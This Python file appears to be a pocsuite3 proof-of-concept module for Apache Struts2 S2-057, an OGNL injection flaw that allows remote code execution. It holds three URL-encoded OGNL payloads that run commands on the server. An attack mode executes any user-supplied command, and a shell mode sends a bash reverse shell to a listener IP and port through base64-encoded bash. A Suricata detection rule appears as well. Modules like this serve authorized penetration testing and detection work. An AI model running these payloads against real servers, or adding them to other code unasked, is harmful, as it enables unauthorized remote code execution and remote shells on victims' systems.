"""
If you have issues about development, please read:
https://github.com/knownsec/pocsuite3/blob/master/docs/CODING.md
for more about information, plz visit http://pocsuite.org
"""
import base64
import random
import re
import urllib
from collections import OrderedDict
from urllib.parse import urlparse

from pocsuite3.api import Output, POCBase, register_poc, logger, requests, get_listener_ip, get_listener_port
from pocsuite3.lib.core.enums import VUL_TYPE
from pocsuite3.lib.core.interpreter_option import OptString
from pocsuite3.lib.utils import random_str
from pocsuite3.modules.listener import REVERSE_PAYLOAD


class DemoPOC(POCBase):
    vulID = '97497'  # ssvid
    version = '3.0'
    author = ['knownsec.com']
    vulDate = '2019-2-12'
    createDate = '2019-2-12'
    updateDate = '2019-2-12'
    references = ['https://www.seebug.org/vuldb/ssvid-97497']
    name = 'Apache Struts2 s2-057'
    appPowerLink = ''
    appName = 'Apache Struts2'
    appVersion = '2.3.5-2.3.34, 2.5-2.5.16'
    vulType = VUL_TYPE.CODE_EXECUTION
    suricata_request = '''http.method; content:"GET"; http.uri.raw; url_decode; url_decode; strip_whitespace; content:"${(#"; content:"@"; content:".";'''
    suricata_response = ''''''
    desc = '''
    Struts2在XML配置中如果namespace值未设置且（Action Configuration）中未设置
    或用通配符namespace时可能会导致远程代码执行，当url标签未设置value和action值
    且上层动作未设置或用通配符namespace时也可能会导致远程代码执行
    '''
    samples = []
    install_requires = ['']
    dockerfile = '''FROM isxiangyang/struts2-all-vul-pocsuite:latest'''

    def _options(self):
        o = OrderedDict()
        o["command"] = OptString('whoami', description='attack模式自定义命令', require=False)
        return o

    def expolit(self, mode='verify'):
        result = {}
        url = self.url.rstrip('/')
        ognl_payloads = []
        vuls = []
        command = ""
        flag = ""
        try:
            if mode == 'verify':
                num_1 = random.randint(000000000, 999999999)
                num_2 = random.randint(000000000, 999999999)
                flag = str(num_1 + num_2)
                ognl_payload = "%25%7B{0}+{1}%7D".format(str(num_1), str(num_2))

                ognl_payloads.append(ognl_payload)
            elif mode == 'attack' or mode == 'shell':
                flag = random_str()
                if mode == 'attack':
                    command = self.get_option('command')
                else:
                    listener_ip, listener_port = get_listener_ip(), get_listener_port()
                    logger.info("your listener ip and port is: {}:{}".format(listener_ip, listener_port))
                    command = REVERSE_PAYLOAD.BASH.format(listener_ip, listener_port)
                raw_command = command + ' && echo ' + flag
                b64_cmd = base64.b64encode(raw_command.encode()).decode()
                command = "bash -c {echo,%s}|{base64,-d}|{bash,-i}" % b64_cmd
                command = urllib.parse.quote(raw_command)

                ognl_payload1 = "%25%7B(%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3D%23request%5B'struts.valueStack'%5D.context)." \
                                "(%23cr%3D%23ct%5B'com.opensymphony.xwork2.ActionContext.container'%5D).(%23ou%3D%23cr.getInstance(%40com.opensymphony." \
                                "xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm))." \
                                "(%23a%3D%40java.lang.Runtime%40getRuntime().exec('{}')).(%40org.apache.commons.io.IOUtils%40toString(%23a.getInputStream()))%7D".format(
                    command)

                ognl_payload2 = "%25%7B%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext." \
                                "container%27%5D%29.%28%23ou%3D%23cr.getInstance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ou.setExcludedClasses%28%27" \
                                "java.lang.Shutdown%27%29%29.%28%23ou.setExcludedPackageNames%28%27sun.reflect.%27%29%29.%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29." \
                                "%28%23ct.setMemberAccess%28%23dm%29%29.%28%23cmd%3D%27{}%27%29.%28%23iswin%3D%28@java.lang.System@getProperty%28%27os.name%27%29.toLowerCase%28%29." \
                                "contains%28%27win%27%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd%27%2C%27/c%27%2C%23cmd%7D%3A%7B%27/bin/bash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23p%3Dnew%20" \
                                "java.lang.ProcessBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28%23ros%3D%28@org.apache.struts2.ServletActionContext@" \
                                "getResponse%28%29.getOutputStream%28%29%29%29.%28@org.apache.commons.io.IOUtils@copy%28%23process.getInputStream%28%29%2C%23ros%29%29.%28%23ros.flush%28%29%29%7D".format(
                    urllib.parse.quote(raw_command.replace("%2f", "/")))

                ognl_payload3 = "%25%7B%28%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23cmd%3D%27{}%27%29.%28%23iswin%3D%28@java.lang.System@getProperty%28%27os.name%27%29.toLowerCase%28%29." \
                                "contains%28%27win%27%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd%27%2C%27/c%27%2C%23cmd%7D%3A%7B%27/bin/bash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23p%3Dnew%20java.lang.ProcessBuilder%28%23cmds%29%29." \
                                "%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28%23ros%3D%28@org.apache.struts2.ServletActionContext@getResponse%28%29.getOutputStream%28%29%29%29.%28@org.apache.commons.io." \
                                "IOUtils@copy%28%23process.getInputStream%28%29%2C%23ros%29%29.%28%23ros.flush%28%29%29%7D".format(
                    command)
                ognl_payloads.append(ognl_payload1)
                ognl_payloads.append(ognl_payload2)
                ognl_payloads.append(ognl_payload3)

            pr = urlparse(url)

            if not pr.path.endswith('.action'):
                resp = requests.get(url)
                matchs = re.findall(r'<a.*?href="/?(.*?\.action)', resp.text)
                if matchs:
                    for match in matchs:
                        for ognl_payload in ognl_payloads:
                            temp_path = match.split("/")
                            temp_path.insert(-1, ognl_payload)
                            vul_path = "/".join(temp_path)
                            vuln_url = "{0}://{1}/{2}".format(pr.scheme, pr.netloc, vul_path)
                            vuls.append(vuln_url)
                else:
                    for ognl_payload in ognl_payloads:
                        temp_path = pr.path.split("/")[:-1]
                        temp_path.append(ognl_payload)
                        temp_path.append("index.action")
                        vul_path = "/".join(temp_path)
                        vuln_url = "{0}://{1}/{2}".format(pr.scheme, pr.netloc, vul_path)
                        vuls.append(vuln_url)
            else:
                for ognl_payload in ognl_payloads:
                    temp_path = pr.path.split("/")
                    temp_path.insert(-1, ognl_payload)
                    vul_path = "/".join(temp_path)
                    vuln_url = "{0}://{1}/{2}".format(pr.scheme, pr.netloc, vul_path)
                    vuls.append(vuln_url)
        except Exception as e:
            logger.error(e)

        for vuln_url in vuls:
            try:
                resp = requests.get(vuln_url, allow_redirects=False, timeout=5)
                if resp.status_code == 500:
                    resp = requests.get(vuln_url, allow_redirects=False, timeout=5)
                if resp and resp.status_code in (200, 302) and "echo" not in resp.text and (
                        flag in resp.text or flag in resp.headers.get("location", "")):
                    if mode == 'verify':
                        result['VerifyInfo'] = {}
                        result['VerifyInfo']['URL'] = vuln_url
                    else:
                        result['AttackInfo'] = {}
                        result['AttackInfo']['URL'] = vuln_url
                        result['AttackInfo']['Command'] = command
                        result['AttackInfo']['CommandRet'] = (resp.headers.get("location", "") + resp.text).replace(
                            "\x00", "").encode()
                    break
            except Exception as e:
                logger.error(e)
        return result

    def _verify(self):
        result = {}
        try:
            result = self.expolit(mode='verify')
        except Exception as e:
            logger.exception(e)
        return self.parse_output(result)

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('target is not vulnerable')
        return output

    def _attack(self):
        result = {}

        try:
            result = self.expolit(mode='attack')
        except Exception as e:
            logger.exception(e)
        return self.parse_output(result)

    def _shell(self):
        result = {}

        try:
            result = self.expolit(mode='shell')
        except Exception as e:
            logger.error(e)
        return self.parse_output(result)


register_poc(DemoPOC)
